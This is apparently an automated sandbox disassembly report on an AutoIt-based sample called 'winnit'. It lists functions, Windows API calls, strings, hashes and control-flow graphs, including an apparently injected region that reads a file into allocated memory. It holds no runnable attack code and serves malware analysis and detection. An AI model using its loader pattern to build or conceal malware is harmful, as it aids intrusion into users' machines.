                                          • API ID: FileFind$AttributesCloseFirst
                                          • String ID:
                                          • API String ID: 48322524-0
                                          • Opcode ID: 0f21a9d77a830b9acfaedfe4924278f9bf3de4750db9972ee807164a07412a8e
                                          • Instruction ID: 8c8f4bb5899bb6112a2b452b69364b76b3ca3bc73b938dbf4ee410b96021051c
                                          • Opcode Fuzzy Hash: 0f21a9d77a830b9acfaedfe4924278f9bf3de4750db9972ee807164a07412a8e
                                          • Instruction Fuzzy Hash: 87E09232810502A742106A38EC4D8EE769C9A05335F600755F835C21E0EF74594096D5
                                          Function 00AC09D0 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AC0A5B
                                          • timeGetTime.WINMM ref: 00AC0D16
                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AC0E53
                                          • Sleep.KERNEL32(0000000A), ref: 00AC0E61
                                          • LockWindowUpdate.USER32(00000000,?,?), ref: 00AC0EFA
                                          • DestroyWindow.USER32 ref: 00AC0F06
                                          • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00AC0F20
                                          • Sleep.KERNEL32(0000000A,?,?), ref: 00AF4E83
                                          • TranslateMessage.USER32(?), ref: 00AF5C60
                                          • DispatchMessageW.USER32(?), ref: 00AF5C6E
                                          • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00AF5C82
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
                                          • String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
                                          • API String ID: 4212290369-3242690629
                                          • Opcode ID: bf786dfd1086e342e94dc89b91f59d1ec1eb7722f287284cc090d9061c805560
                                          • Instruction ID: a9beff848b9e6e99f1537f30c8f2354dbe7eb01205669c26c15fe657997d1b28
                                          • Opcode Fuzzy Hash: bf786dfd1086e342e94dc89b91f59d1ec1eb7722f287284cc090d9061c805560
                                          • Instruction Fuzzy Hash: A5B2A170A08745DFD724DF64C884FAAB7E5BF85304F14491DF69A972A2CB71E884CB82
                                          Function 00B19155 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                            • Part of subcall function 00B18F5F: __time64.LIBCMT ref: 00B18F69
                                            • Part of subcall function 00AB4EE5: _fseek.LIBCMT ref: 00AB4EFD
                                          • __wsplitpath.LIBCMT ref: 00B19234
                                            • Part of subcall function 00AD40FB: __wsplitpath_helper.LIBCMT ref: 00AD413B
                                          • _wcscpy.LIBCMT ref: 00B19247
                                          • _wcscat.LIBCMT ref: 00B1925A
                                          • __wsplitpath.LIBCMT ref: 00B1927F
                                          • _wcscat.LIBCMT ref: 00B19295
                                          • _wcscat.LIBCMT ref: 00B192A8
                                            • Part of subcall function 00B18FA5: _memmove.LIBCMT ref: 00B18FDE
                                            • Part of subcall function 00B18FA5: _memmove.LIBCMT ref: 00B18FED
                                          • _wcscmp.LIBCMT ref: 00B191EF
                                            • Part of subcall function 00B19734: _wcscmp.LIBCMT ref: 00B19824
                                            • Part of subcall function 00B19734: _wcscmp.LIBCMT ref: 00B19837
                                          • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00B19452
                                          • _wcsncpy.LIBCMT ref: 00B194C5
                                          • DeleteFileW.KERNEL32(?,?), ref: 00B194FB
                                          • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00B19511
                                          • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B19522
                                          • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B19534
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
                                          • String ID:
                                          • API String ID: 1500180987-0
                                          • Opcode ID: 6c73c70701838eb188f0248713ee4e9f181b84552d781e7385d1d46c5da102e7
                                          • Instruction ID: fcc246c5002224942a085f2e8e9860d302157f33c7ba1d9347116616adb00067
                                          • Opcode Fuzzy Hash: 6c73c70701838eb188f0248713ee4e9f181b84552d781e7385d1d46c5da102e7
                                          • Instruction Fuzzy Hash: 27C14DB1D00219AADF21DFA4CD95EDEBBBDEF59300F4040A6F609E7241DB309A848F65
                                          Function 00AB3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 71windowregistryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • GetSysColorBrush.USER32(0000000F), ref: 00AB3074
                                          • RegisterClassExW.USER32(00000030), ref: 00AB309E
                                          • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00AB30AF
                                          • InitCommonControlsEx.COMCTL32(?), ref: 00AB30CC
                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00AB30DC
                                          • LoadIconW.USER32(000000A9), ref: 00AB30F2
                                          • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00AB3101
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                          • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                          • API String ID: 2914291525-1005189915
                                          • Opcode ID: fcfda0195bdaeb2d64e7c0e69d6964831d7d8a9ad053a94a987e1e28413d38bd
                                          • Instruction ID: 20d4c3969fe16820e1dfbd42bf35754804a1991fe15ec98139f4e2ff5ddc1b95
                                          • Opcode Fuzzy Hash: fcfda0195bdaeb2d64e7c0e69d6964831d7d8a9ad053a94a987e1e28413d38bd
                                          • Instruction Fuzzy Hash: AD3127B1C4034AEFDB10CFA4E889A9DBBF4FB08310F24456EE584A72A1DBB55585CF91
                                          Function 00AB3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • GetSysColorBrush.USER32(0000000F), ref: 00AB3074
                                          • RegisterClassExW.USER32(00000030), ref: 00AB309E
                                          • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00AB30AF
                                          • InitCommonControlsEx.COMCTL32(?), ref: 00AB30CC
                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00AB30DC
                                          • LoadIconW.USER32(000000A9), ref: 00AB30F2
                                          • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00AB3101
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                          • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                          • API String ID: 2914291525-1005189915
                                          • Opcode ID: 30aad246f11a8859c6861a86199f61558535941a3b06f6a4719c6fd5dbbee15b
                                          • Instruction ID: c224e882fe36bc8b8fb3519fe4ee8677c8c7ca23e6d2db2fed803640619c22f0
                                          • Opcode Fuzzy Hash: 30aad246f11a8859c6861a86199f61558535941a3b06f6a4719c6fd5dbbee15b
                                          • Instruction Fuzzy Hash: 6E21C5B1D01219EFDB10DFA4E989BEDBBF4FB08700F10412AF515A72A0DBB145848FA1
                                          Function 00AB708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                            • Part of subcall function 00AB4706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00B752F8,?,00AB37AE,?), ref: 00AB4724
                                            • Part of subcall function 00AD050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00AB7165), ref: 00AD052D
                                          • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00AB71A8
                                          • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00AEE8C8
                                          • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00AEE909
                                          • RegCloseKey.ADVAPI32(?), ref: 00AEE947
                                          • _wcscat.LIBCMT ref: 00AEE9A0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
                                          • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                          • API String ID: 2673923337-2727554177
                                          • Opcode ID: 77ae44fcba85fbd0e333c5257725dee4b68a824bf9f089fa84e85d24c7975ba1
                                          • Instruction ID: b5b88e6aede36c363583c4faff0fcf7b3b42766c8084d549d06628a123f36982
                                          • Opcode Fuzzy Hash: 77ae44fcba85fbd0e333c5257725dee4b68a824bf9f089fa84e85d24c7975ba1
                                          • Instruction Fuzzy Hash: 21716B715083019EC344EF69E9819AFBBE8FF94350F40452EF449972B2EF719988CB52
                                          Function 00AB3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • GetSysColorBrush.USER32(0000000F), ref: 00AB3A50
                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00AB3A5F
                                          • LoadIconW.USER32(00000063), ref: 00AB3A76
                                          • LoadIconW.USER32(000000A4), ref: 00AB3A88
                                          • LoadIconW.USER32(000000A2), ref: 00AB3A9A
                                          • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00AB3AC0
                                          • RegisterClassExW.USER32(?), ref: 00AB3B16
                                            • Part of subcall function 00AB3041: GetSysColorBrush.USER32(0000000F), ref: 00AB3074
                                            • Part of subcall function 00AB3041: RegisterClassExW.USER32(00000030), ref: 00AB309E
                                            • Part of subcall function 00AB3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00AB30AF
                                            • Part of subcall function 00AB3041: InitCommonControlsEx.COMCTL32(?), ref: 00AB30CC
                                            • Part of subcall function 00AB3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00AB30DC
                                            • Part of subcall function 00AB3041: LoadIconW.USER32(000000A9), ref: 00AB30F2
                                            • Part of subcall function 00AB3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00AB3101
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                          • String ID: #$0$AutoIt v3
                                          • API String ID: 423443420-4155596026
                                          • Opcode ID: ec98155470dcd6d9ae9af7ae7f065bc6c21885b757b41fff6cfc9052b522ec55
                                          • Instruction ID: 1b01ac079c0bee0341804f24d03883782a72bf6981e46acabada591faf71f11c
                                          • Opcode Fuzzy Hash: ec98155470dcd6d9ae9af7ae7f065bc6c21885b757b41fff6cfc9052b522ec55
                                          • Instruction Fuzzy Hash: 93212B71D00305EFEB20DFA4ED49B9D7BB5FB08711F10052AE608A72E2DBB55A909F94
                                          Function 00AB3633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 767 ab3633-ab3681 769 ab3683-ab3686 767->769 770 ab36e1-ab36e3 767->770 771 ab3688-ab368f 769->771 772 ab36e7 769->772 770->769 773 ab36e5 770->773 774 ab374b-ab3753 PostQuitMessage 771->774 775 ab3695-ab369a 771->775 777 aed0cc-aed0fa call ac1070 call ac1093 772->777 778 ab36ed-ab36f0 772->778 776 ab36ca-ab36d2 DefWindowProcW 773->776 784 ab3711-ab3713 774->784 782 aed154-aed168 call b12527 775->782 783 ab36a0-ab36a2 775->783 785 ab36d8-ab36de 776->785 813 aed0ff-aed106 777->813 779 ab36f2-ab36f3 778->779 780 ab3715-ab373c SetTimer RegisterWindowMessageW 778->780 786 aed06f-aed072 779->786 787 ab36f9-ab370c KillTimer call ab443a call ab3114 779->787 780->784 789 ab373e-ab3749 CreatePopupMenu 780->789 782->784 806 aed16e 782->806 790 ab36a8-ab36ad 783->790 791 ab3755-ab3764 call ab44a0 783->791 784->785 799 aed0a8-aed0c7 MoveWindow 786->799 800 aed074-aed076 786->800 787->784 789->784 795 aed139-aed140 790->795 796 ab36b3-ab36b8 790->796 791->784 795->776 802 aed146-aed14f call b07c36 795->802 804 ab36be-ab36c4 796->804 805 aed124-aed134 call b12d36 796->805 799->784 808 aed078-aed07b 800->808 809 aed097-aed0a3 SetFocus 800->809 802->776 804->776 804->813 805->784 806->776 808->804 814 aed081-aed092 call ac1070 808->814 809->784 813->776 818 aed10c-aed11f call ab443a call ab434a 813->818 814->784 818->776
                                          APIs
                                          • DefWindowProcW.USER32(?,?,?,?), ref: 00AB36D2
                                          • KillTimer.USER32(?,00000001), ref: 00AB36FC
                                          • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00AB371F
                                          • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00AB372A
                                          • CreatePopupMenu.USER32 ref: 00AB373E
                                          • PostQuitMessage.USER32(00000000), ref: 00AB374D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                          • String ID: TaskbarCreated
                                          • API String ID: 129472671-2362178303
                                          • Opcode ID: 3114936b8a7eec603054bf28c321b7ffd578d4196cf95013e5711fc93f72376d
                                          • Instruction ID: c5c7bdac8d0724435343f0eba413bcf6d823ad9c179787a7dc29e2f2ba3ae22d
                                          • Opcode Fuzzy Hash: 3114936b8a7eec603054bf28c321b7ffd578d4196cf95013e5711fc93f72376d
                                          • Instruction Fuzzy Hash: 7B4118B3614946FBDF249F64DC09BFA37ACEB04300F540125F606D72A3DFA19E909661
                                          Function 00AB3766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
                                          • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
                                          • API String ID: 1825951767-3513169116
                                          • Opcode ID: 09ed1c9a8f1149e013816d6422c28a211bc44843452df13150dcd44bca5d119b
                                          • Instruction ID: 8d017ce9ab1ae1b15c9710199be4f9c1ee02df434671589b65bca2b5913d2946
                                          • Opcode Fuzzy Hash: 09ed1c9a8f1149e013816d6422c28a211bc44843452df13150dcd44bca5d119b
                                          • Instruction Fuzzy Hash: 02A13B72D0021D9ADF14EBA4DD95AEEB7BCBF15300F44052AE416B7193DF74AA48CB60
                                          Function 00F71F18 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 942 f71f18-f71fc6 call f6f928 945 f71fcd-f71ff3 call f72e28 CreateFileW 942->945 948 f71ff5 945->948 949 f71ffa-f7200a 945->949 950 f72145-f72149 948->950 957 f72011-f7202b VirtualAlloc 949->957 958 f7200c 949->958 951 f7218b-f7218e 950->951 952 f7214b-f7214f 950->952 954 f72191-f72198 951->954 955 f72151-f72154 952->955 956 f7215b-f7215f 952->956 959 f721ed-f72202 954->959 960 f7219a-f721a5 954->960 955->956 961 f72161-f7216b 956->961 962 f7216f-f72173 956->962 963 f72032-f72049 ReadFile 957->963 964 f7202d 957->964 958->950 969 f72204-f7220f VirtualFree 959->969 970 f72212-f7221a 959->970 967 f721a7 960->967 968 f721a9-f721b5 960->968 961->962 971 f72175-f7217f 962->971 972 f72183 962->972 965 f72050-f72090 VirtualAlloc 963->965 966 f7204b 963->966 964->950 973 f72097-f720b2 call f73078 965->973 974 f72092 965->974 966->950 967->959 975 f721b7-f721c7 968->975 976 f721c9-f721d5 968->976 969->970 971->972 972->951 982 f720bd-f720c7 973->982 974->950 978 f721eb 975->978 979 f721d7-f721e0 976->979 980 f721e2-f721e8 976->980 978->954 979->978 980->978 983 f720fa-f7210e call f72e88 982->983 984 f720c9-f720f8 call f73078 982->984 990 f72112-f72116 983->990 991 f72110 983->991 984->982 992 f72122-f72126 990->992 993 f72118-f7211c CloseHandle 990->993 991->950 994 f72136-f7213f 992->994 995 f72128-f72133 VirtualFree 992->995 993->992 994->945 994->950 995->994
                                          APIs
                                          • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00F71FE9
                                          • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00F7220F
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186698804.0000000000F6F000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F6F000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_f6f000_winnit.jbxd
                                          Similarity
                                          • API ID: CreateFileFreeVirtual
                                          • String ID:
                                          • API String ID: 204039940-0
                                          • Opcode ID: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
                                          • Instruction ID: e04464ca945f6d9c572fd2917bb865febfdce37c92e69a30f35ee9a919ae5343
                                          • Opcode Fuzzy Hash: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
                                          • Instruction Fuzzy Hash: 57A12A71E00209EBDB54CFA4C894BEEB7B5FF48315F20815AE609BB280D7759A41EF61
                                          Function 00AB39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 1073 ab39d5-ab3a45 CreateWindowExW * 2 ShowWindow * 2
                                          APIs
                                          • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00AB3A03
                                          • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00AB3A24
                                          • ShowWindow.USER32(00000000,?,?), ref: 00AB3A38
                                          • ShowWindow.USER32(00000000,?,?), ref: 00AB3A41
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$CreateShow
                                          • String ID: AutoIt v3$edit
                                          • API String ID: 1584632944-3779509399
                                          • Opcode ID: c0f7ce3a5c3746309e366a3b8ef7b9b0cc6582df4d0b3861790195689030c0c6
                                          • Instruction ID: 35f6ed6e341903cdf9775e5e3e9b4f6d1383d3e625e37e8215d3a96b149d7ef6
                                          • Opcode Fuzzy Hash: c0f7ce3a5c3746309e366a3b8ef7b9b0cc6582df4d0b3861790195689030c0c6
                                          • Instruction Fuzzy Hash: A9F0DA71941690BEEA315B276C49E7B3E7DD7C6F50F10412ABA08A3271CAA11891DAB0
                                          Function 00F71CD8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 147fileCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 1074 f71cd8-f71e10 call f6f928 call f71bc8 CreateFileW 1081 f71e17-f71e27 1074->1081 1082 f71e12 1074->1082 1085 f71e2e-f71e48 VirtualAlloc 1081->1085 1086 f71e29 1081->1086 1083 f71ec7-f71ecc 1082->1083 1087 f71e4c-f71e63 ReadFile 1085->1087 1088 f71e4a 1085->1088 1086->1083 1089 f71e67-f71ea1 call f71c08 call f70bc8 1087->1089 1090 f71e65 1087->1090 1088->1083 1095 f71ea3-f71eb8 call f71c58 1089->1095 1096 f71ebd-f71ec5 ExitProcess 1089->1096 1090->1083 1095->1096 1096->1083
                                          APIs
                                            • Part of subcall function 00F71BC8: Sleep.KERNELBASE(000001F4), ref: 00F71BD9
                                          • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00F71E06
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186698804.0000000000F6F000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F6F000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_f6f000_winnit.jbxd
                                          Similarity
                                          • API ID: CreateFileSleep
                                          • String ID: W5KUN1Z4X8AX9B5FH
                                          • API String ID: 2694422964-1355399809
                                          • Opcode ID: 9edf5cefc50c839755cd8e0b7f81e65b0c32344e33c74b06e9eddbaa768cdb63
                                          • Instruction ID: c588b097e701c05474e70c56bbbc5475b377b9d4a0283dc70f8540612f183974
                                          • Opcode Fuzzy Hash: 9edf5cefc50c839755cd8e0b7f81e65b0c32344e33c74b06e9eddbaa768cdb63
                                          • Instruction Fuzzy Hash: 3151B331D04248DBEF11DBA8DC54BEEBB79AF19700F104599E648BB2C0D7B91B48CB66
                                          Function 00AB407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 1098 ab407c-ab4092 1099 ab4098-ab40ad call ab7a16 1098->1099 1100 ab416f-ab4173 1098->1100 1103 aed3c8-aed3d7 LoadStringW 1099->1103 1104 ab40b3-ab40d3 call ab7bcc 1099->1104 1107 aed3e2-aed3fa call ab7b2e call ab6fe3 1103->1107 1104->1107 1108 ab40d9-ab40dd 1104->1108 1117 ab40ed-ab416a call ad2de0 call ab454e call ad2dbc Shell_NotifyIconW call ab5904 1107->1117 1120 aed400-aed41e call ab7cab call ab6fe3 call ab7cab 1107->1120 1110 ab40e3-ab40e8 call ab7b2e 1108->1110 1111 ab4174-ab417d call ab8047 1108->1111 1110->1117 1111->1117 1117->1100 1120->1117
                                          APIs
                                          • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00AED3D7
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                          • _memset.LIBCMT ref: 00AB40FC
                                          • _wcscpy.LIBCMT ref: 00AB4150
                                          • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00AB4160
                                          Strings
